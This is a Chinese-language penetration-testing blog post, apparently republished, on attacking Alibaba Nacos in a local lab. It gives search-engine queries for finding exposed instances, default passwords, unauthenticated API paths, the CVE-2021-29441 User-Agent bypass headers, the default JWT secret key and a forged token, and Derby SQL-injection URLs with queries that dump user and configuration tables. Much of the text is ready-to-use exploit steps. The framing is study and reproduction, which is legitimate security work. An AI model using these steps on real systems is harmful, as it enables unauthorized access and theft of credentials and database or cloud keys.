上心师傅的思路分享(三)--Nacos渗透

目录

1. 前言

2. Nacos

2.1 Nacos介绍

2.2 鹰图语法

2.3 fofa语法

2.3 漏洞列表

未授权API接口漏洞

3 环境搭建

3.1 方式一:

3.2 方式二: 

3.3 访问方式

4. 工具监测

5. 漏洞复现

5.1 弱口令

 5.2 未授权接口

5.3.1 用户信息 API

5.3.2 集群信息 API

5.3.3 配置信息 API

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

5.4.1 验证漏洞

 5.4.2 构造JWT token

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

5.5.1 漏洞复现:

 5.5.2 工具复现

5.5.3 一些常用的查询语句

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

6.其他利用方式

7.总结 


1. 前言

        最近回顾看一下上心师傅在上课时分享的渗透思路,因为本次的这个利用方式之前是了解过,Ctf比赛遇到过,但是当时的我还是小白一个对此完全不懂,而在经过上心师傅的分享后,发现其实原理自己懂,但是一直没有利用和学习过,刚好上心师傅讲了,那就认真学习同时复现一下吧.

        刚好也对漏洞环境搭建做一个练习,毕竟一名合格的安全测试人员,除了在实战环境下复现,也需要自行搭建真实环境进行漏洞复现测试,避免在实战环境下影响业务.

免责声明

        博文中涉及的方法可能带有危害性,博文中的图片中的域名展示仅供参考,并不具有威胁性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.

        下面是上心师傅上课讲的一些思路总结,以及我自己对这个漏洞学习到的一些总结和梳理.

2. Nacos

2.1 Nacos介绍

        Nacos 是阿里巴巴推出来的一个开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

        但是Nacos是部署在内网的,因此下面通过语法搜索出来的可以看到的,一般会做访问限制的,正常是访问不到的,如果可以访问就可以尝试是否存在漏洞了.当然如果直接在真实环境下测试,一是未授权行为,二是不容易找到复现环境,所以在本地搭建环境来进行复现是最安全,也是最容易

2.2 鹰图语法

app.name="Nacos" 

2.3 fofa语法

app="Nacos" && icon_hash="1227052603" && country="CN"

2.3 漏洞列表

Nacos控制台默认口令漏洞

漏洞影响版本:所有版本

nacos/nacos
CVE-2021-29441 Nacos权限认证绕过漏洞/nacos/v1/auth/users?pageNo=1&pageSize=1
未授权API接口漏洞

用户信息 API:      /nacos/v1/auth/users?pageNo=1&pageSize=5 (pageSize和pageNo根据数据量自行更改)

集群信息 API:   /nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

配置信息 API:  /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=

&search=accurate&accessToken=&username=

Nacos token.secret.key默认配置(QVD-2023-6271)

漏洞影响版本: 0.1.0 <= Nacos <= 2.2.0

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt

 Nacos User-Agent权限绕过(CVE-2021-29441)

漏洞影响版本: Nacos <= 2.0.0-ALPHA.1

http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur 

这个版本环境很低,需要的师傅可以搭建环境自行复现

 
Nacos-client Yaml反序列化漏洞  
漏洞影响版本: Nacos-Client < 1.4.2
具体看下面复现

Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

漏洞影响版本:1.4.0 <= Nacos < 1.4.6 和 2.0.0 <= Nacos < 2.2.3

开放7848端口
Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

derby数据库

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables

nacos+spring  actuator 如果从nacos无法突破, 从actuator中的heapdump获取密码 /actuator/heapdump进行分析尝试获取密码,然后再进入nacos

3 环境搭建

                          本次Nacos漏洞复现环境都是在Linux环境下进行复现的

3.1 方式一:

直接下载

下载环境
wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz进入目录
cd nacoscd 进入nacos的bin目录启动./startup.sh -m standalone
关闭
./shutdown.sh

3.2 方式二: 

        因为自己的环境出了问题,导致无法用命令下载github的文件,于是通过下面的方式解决,这里我只做复现和分析就不写这种方式了,下面这个师傅的文章比较详细,可以跟着学习和使用.

Kali设置/挂载共享文件夹_kali开机自动挂载共享文件夹-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Ahuuua/article/details/108584355        直接浏览器访问下面的链接,当然直接访问会比较慢,可以通过科学方式加速

https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz

        然后把下载好的文件放入共享文件夹,最后移动到自己常用的位置,然后在文件目录下按照下面的操作.

 
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz进入目录
cd nacoscd 进入nacos的bin目录启动./startup.sh -m standalone关闭
./shutdown.sh

3.3 访问方式

ifconfig  # 注意和win查本机ip的方式有点不同访问ip:8848/nacos/#/login

                        下面我的测试环境都是以搭建的虚拟机环境ip地址为准 

访问环境地址,出现下面的界面,代表搭建环境成功.

4. 工具监测

        在复现环境前,因为这个搭建的环境是比较老的版本,到目前为止发现的所有历史漏洞应该都是存在的,先用工具扫描一下,进行尝试,上心师傅推荐的这个工具比较好用,建议用最新版的,监测的poc会多一点.

charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用 (github.com)icon-default.png?t=N7T8https://github.com/charonlight/NacosExploitGUI        可以看一下漏洞描述,初步了解需要复现的漏洞原理,如果遇到不知道的,可以自行去搜索详细的文章进行学习.

java -jar NacosExploitGUI_v4.0.jar

                                因为是老版本,所以包含所有历史漏洞,扫描结果如下:

5. 漏洞复现

5.1 弱口令

                        Nacos控制台默认口令为nacos/nacos,遇到了可以先尝试一下

一般会存在一个test/test的用户,也可以进行尝试

 5.2 未授权接口

                        在未登录情况下的登录界面直接拼接下面的api接口

5.3.1 用户信息 API

/nacos/v1/auth/users?pageNo=1&pageSize=5

        这里因为没有添加用户,所以就一个用户,如果有很多用户的话,可以尝试其他用户的弱口令

        显然密码是加密的,并且我之前遇到过一个系统也是这样加密的,搜索和学习后,发现是无法解密的密码,这里只能通过尝试常见的弱口令,或是账号和密码一样看能否进入了.

5.3.2 集群信息 API

/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

5.3.3 配置信息 API

通过看别的师傅的一些挖掘案例文章发现这个接口和上面的用户信息接口一样很重要,并且还有可能会出现一些重要的配置信息,例如:接口在未授权的情况下可能会暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若存在云环境、文件系统,还可能暴露各种key

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

验证漏洞

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

 在浏览器直接访问是get请求:

http://192.168.10.14:8848/nacos/v1/auth/users

        在burp的历史包中,将访问请求发送到重放模块,然后更改请求方式为post,修改User-Agent为Nacos-Server,至于为什么是username=xiaoyu&password=xioayu  参数你可以在登录界面抓一个包就知道为什么是这个格式了.

                                                             用xiaoyu/xiaoyu进行登录

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

        复现这个漏洞的话通过Nacos版本 <= 2.2.0的才是正确的复现环境,但是老版本也是存在这个漏洞的,本来不想搭建这个环境,结果老版本工具可以监测到,但是自己复现无法成功,于是,直接用老搭建一个新的环境,需要的师傅自行搭建复现,其他搭建和上面的操作是一致的.

环境地址:https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz

                                        注意需要先开启鉴权,不然登录是不需要使用JWT的

        Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,,这个密钥是固定的默认值,导致存在一个安全漏洞。

密钥的固定的默认值

SecretKey012345678901234567890123456789012345678901234567890123456789

5.4.1 验证漏洞

                        这个是2.2.0比前面的2.0.0多了一行红字,内部系统,不可暴露到公网

        不带jwt直接访问如下地址,看别的师傅都说,正常是返回403,但是我是老版本,也会出现信息,结果我尝试了2.2.0还是会返回下面的信息,此时我已经懵逼了

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=5&search=accurate

        2.2.0版本未经过鉴权的话进行测试发现也会出现下面的信息,并且可以进行一些列的操作,比如说直接添加用户,删除用户等等.

 老版本的话,会出现下面的信息,有我前面复现漏洞添加的新用户

 5.4.2 构造JWT token

先访问接口

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate

其中exp是时间戳,利用下面部分进行伪造令牌,然后进行尝试

exp是时间戳,需要把时间戳改为大于当前时间,建议直接改为明天的时间

默认泄露了key,就是下面的全部

SecretKey012345678901234567890123456789012345678901234567890123456789

{"sub": "nacos","exp": 1718012869 
}

        时间戳修改为比当前时间晚一天就可以了,生成一个比当前时间晚一天的时间戳,写博文的时候当前日期为6月9日,时间戳改为6月10日

 按图所示填写对应的palyload和key,拿到伪造的JWT

JWT构造网站
https://jwt.io/  
时间戳生成网站
https://tool.lu/timestamp/

 在JWT页面伪造好数据包后,就可以尝试在登录界面随意抓包,然后在数据包中添加下面的语句,

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODAyMDM4Nn0.UpyKSCj74oARPBP23X0TnAtWI6i3OKhr3XsaqfMSkL0

        重新抓一个登录的包,拦截返回包,将上面将返回的数据,替换重新抓的拦截包里的数据,然后发包就会进行后台界面

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

这个还是在2.0.0环境下进行复现的,当然也可以使用工具进行测试

        Nacos config server 中有未鉴权接口,执行 SQL 语句可以查看敏感数据,可以执行任意的 SELECT 查询语句。使用derby数据库进行部署的Nacos.

5.5.1 漏洞复现:

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st

 5.5.2 工具复现

5.5.3 一些常用的查询语句

select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
User-Agent: Nacos-Server
serverIdentity: security 

正常情况下:

 在请求头中添加绕过后,出现下面的信息,说明权限绕过了

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

        这两种漏洞需要在一定的环境下才有存在的可能,而在本地环境的话,目前我是无法达到复现效果的,所以无法复现,可以看这位佬的,有对漏洞的详细解释,当然也可以借助上面的那款工具进行进一步利用.

Nacos 漏洞利用总结 | h0ny's blogicon-default.png?t=N7T8https://h0ny.github.io/posts/Nacos-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/

6.其他利用方式

        可以在Nacos的后台的配置文件中尝试寻找是否存在暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若是存在云环境、文件系统,还可能暴露各种key,都是可以进行链接和利用的,看是否能进行存储桶接管.

7.总结 

        本次是对上心师傅所讲的漏洞进行一次总结,同时对环境搭建与复现过程中,其实也遇到了很多问题,都一点一点解决了,虽然有点艰辛,但是完成的时候还是很快乐的,继续加油.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/26839.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android基础-运行时权限

一、引言 随着智能手机和移动互联网的普及&#xff0c;Android操作系统作为其中的佼佼者&#xff0c;其安全性问题日益受到关注。为了保障用户数据的安全和隐私&#xff0c;Android系统引入了权限机制来管理和控制应用程序对系统资源和用户数据的访问。特别是在Android 6.0&am…

借力AI,助力网络钓鱼(邮件)检测

引言 互联网时代&#xff0c;邮件系统依然是人们工作、生活中的很重要的一部分&#xff0c;与此同时&#xff0c;邮件系统的发展带来的钓鱼邮件问题也成为网络中的最大的安全隐患之一。本文将为大家解开网络钓鱼&#xff08;邮件&#xff09;的神秘面纱&#xff0c;一探究竟&a…

Unity3D Shader数据传递语法详解

在Unity3D中&#xff0c;Shader是用于渲染图形的一种程序&#xff0c;它定义了物体在屏幕上的外观。Shader通过接收输入数据&#xff08;如顶点位置、纹理坐标、光照信息等&#xff09;并计算像素颜色来工作。为了使得Shader能够正确运行并产生期望的视觉效果&#xff0c;我们需…

和利时DCS数据采集对接安监平台

在工业互联网日益繁荣的今天&#xff0c;工业数据的采集、传输与利用变得至关重要。特别是在工业自动化领域&#xff0c;数据的实时性和准确性直接关系到生产效率和安全性。和利时DCS&#xff08;分布式控制系统&#xff09;以其卓越的稳定性和可靠性&#xff0c;在工业自动化领…

Ubuntu 24.04 屏蔽snap包

Ubuntu 24.04 屏蔽snap包 屏蔽 这里所说的屏蔽指的是&#xff1a;禁止sudo apt install firefox时安装snap版本的包。 如需卸载snap&#xff0c;请使用关键词搜索。 命令行 cat <<EOF | sudo tee /etc/apt/preferences.d/snap-apps-disable Package: chromium* firef…

chat gpt基本原理解读

chat gpt基本原理解读 ChatGPT是一种基于生成式预训练变换器&#xff08;Generative Pre-trained Transformer, GPT&#xff09;的对话模型&#xff0c;主要通过大量的文本数据训练生成自然语言回复。以下是ChatGPT的基本原理解读&#xff1a; 1. 基本架构 ChatGPT 是基于 GPT…

AIGC底层技术介绍

1.AIGC概述 AIGC&#xff0c;全称Artificial Intelligence Generated Content&#xff0c;即人工智能生成内容。这是一种新兴的人工智能技术&#xff0c;其核心思想是利用人工智能模型&#xff0c;根据给定的主题、关键词、格式、风格等条件&#xff0c;自动生成各种类型的文本…

MySQL安全性管理

用户权限管理 创建和管理用户&#xff1a; 使用 CREATE USER 和 GRANT 语句创建和管理用户。例如&#xff1a; CREATE USER usernamehost IDENTIFIED BY password; GRANT SELECT, INSERT, UPDATE, DELETE ON database.* TO usernamehost;最小权限原则&#xff1a; 只赋予用户…

C#面:抽象类和接口有什么异同

抽象类和接口是C#中两种常用的抽象概念&#xff0c;它们都可以用来定义规范和约束&#xff0c;但在使用方式和功能上有一些不同之处。 相同点&#xff1a; 都是用来实现多态性和封装性的重要工具。都不能被实例化&#xff0c;只能被继承或者实现。都可以包含抽象成员&#xf…

yg校园易购电商系统(Go+Vue)

校园易购二手平台系统 GitHub项目地址&#xff1a;https://github.com/xzhHas/yg 文章目录 校园易购二手平台系统一、技术栈简介二、快速开始1、安装本系统使用到的插件&#xff0c;这里推荐使用docker安装&#xff0c;此操作皆在ubuntu系统下操作&#xff0c;如果是其他系统只…

c++防止头文件重复

在C的头文件中&#xff0c;为了防止重复包含&#xff0c;需要使用预处理指令#pragma once或者传统的条件编译方式。下面分别详细说明这两种方式的写法及作用&#xff1a; #pragma once 使用#pragma once指令&#xff1a; #pragma once是一种简便的方式&#xff0c;可以确保头文…

学习笔记——网络管理与运维——概述(网络管理)

二、概述 1、什么是网络管理&#xff1f; 网络管理是通过对网络中设备的管理&#xff0c;保证设备工作正常&#xff0c;使通信网络正常地运行&#xff0c;以提供高效、可靠和安全的通信服务&#xff0c;是通信网络生命周期中的重要一环。 2、网络管理分类 网络管理(Network …

【代码随想录算法训练营第三十五天】 | 1005.K次取反后最大化的数组和 134.加油站 135.分发糖果

贪心章节的题目&#xff0c;做不出来看题解的时候&#xff0c;千万别有 “为什么这都没想到” 的感觉&#xff0c;想不出来是正常的&#xff0c;转变心态 “妙啊&#xff0c;又学到了新的思路” &#xff0c;这样能避免消极的心态对做题效率的影响。 134. 加油站 按卡哥的思路…

redis 06 集群

1.节点&#xff0c;这里是把节点加到集群中的操作&#xff0c;跟主从结构不同 这里是在服务端使用命令&#xff1a; 例子&#xff1a; 2.启动节点 节点服务器 首先&#xff0c;先是服务器节点自身有一个属性来判断是不是可以使用节点功能 一般加入集群中的节点还是用r…

GB/T 42740-2023 轨道交通用电线电缆检测

近几年随着我国经济快速的发展&#xff0c;电气火灾呈现高发趋势&#xff0c;鉴于电线电缆火灾的危险性&#xff0c;国家制定了阻燃&#xff0c;耐火电线电缆的标准&#xff0c;为企业&#xff0c;建设方&#xff0c;施工方等的生产&#xff0c;选材提供了指引。 GB/T 42740-2…

`DiffUtil` 是 Android 开发中用于高效处理列表数据变化的一个工具类。

DiffUtil 是 Android 开发中用于高效处理列表数据变化的一个工具类。它通过计算新旧数据列表的差异&#xff0c;并生成一个差异结果来仅更新那些内容发生变化的视图项&#xff0c;从而避免不必要的全量刷新操作。 为什么使用 DiffUtil 在开发 Android 应用时&#xff0c;经常…

微服务迁移、重构最佳经验

1. 了解现有的单体应用: - 应用架构和技术栈 要了解现有的应用架构和技术栈&#xff0c;可以采取以下几个步骤&#xff1a; 1. 了解应用的背景和目标&#xff1a;首先要了解应用的背景和目标&#xff0c;包括应用所属的行业、应用的类型&#xff08;例如Web应用、移动应用等…

【Spine学习06】之IK约束绑定,制作人物待机动画,图表塞贝尔曲线优化动作

引入IK约束的概念&#xff1a; 约束目标父级 被约束骨骼子集 这样理解更好&#xff0c;约束目标可以控制被约束的两个骨骼运作 IK约束绑定过程中呢&#xff0c;如果直接绑定最下面的脚掌骨骼会发生偏移&#xff0c;所以在开始处理IK之前&#xff0c;需要先设置一个ROOT结点下的…

创新入门|生成式AI创新赋能优势解析,获取生成式AI知识的10大方法

生成式AI技术对员工和企业影响深远。对于员工而言&#xff0c;生成式AI能够提升工作效率&#xff0c;简化重复性任务&#xff0c;并为创意和决策提供支持。对于企业而言&#xff0c;生成式AI在产品创新、市场营销、客户服务和运营优化等方面发挥重要作用&#xff0c;帮助预测市…

OpenHarmony napi 编译 .so 并打包成 .har

一、前言 最近在搞公司标准产品适配OpenHarmony 平台&#xff0c; 按照行业上的常用方法&#xff0c;在Android 是将底层代码用c 封装成 xxx.so &#xff0c;然后将其他一部分打包成 xxx.jar。 因此&#xff0c;在OpenHarmony 平台也是打算按照这个模式。正所谓&#xff0c;好…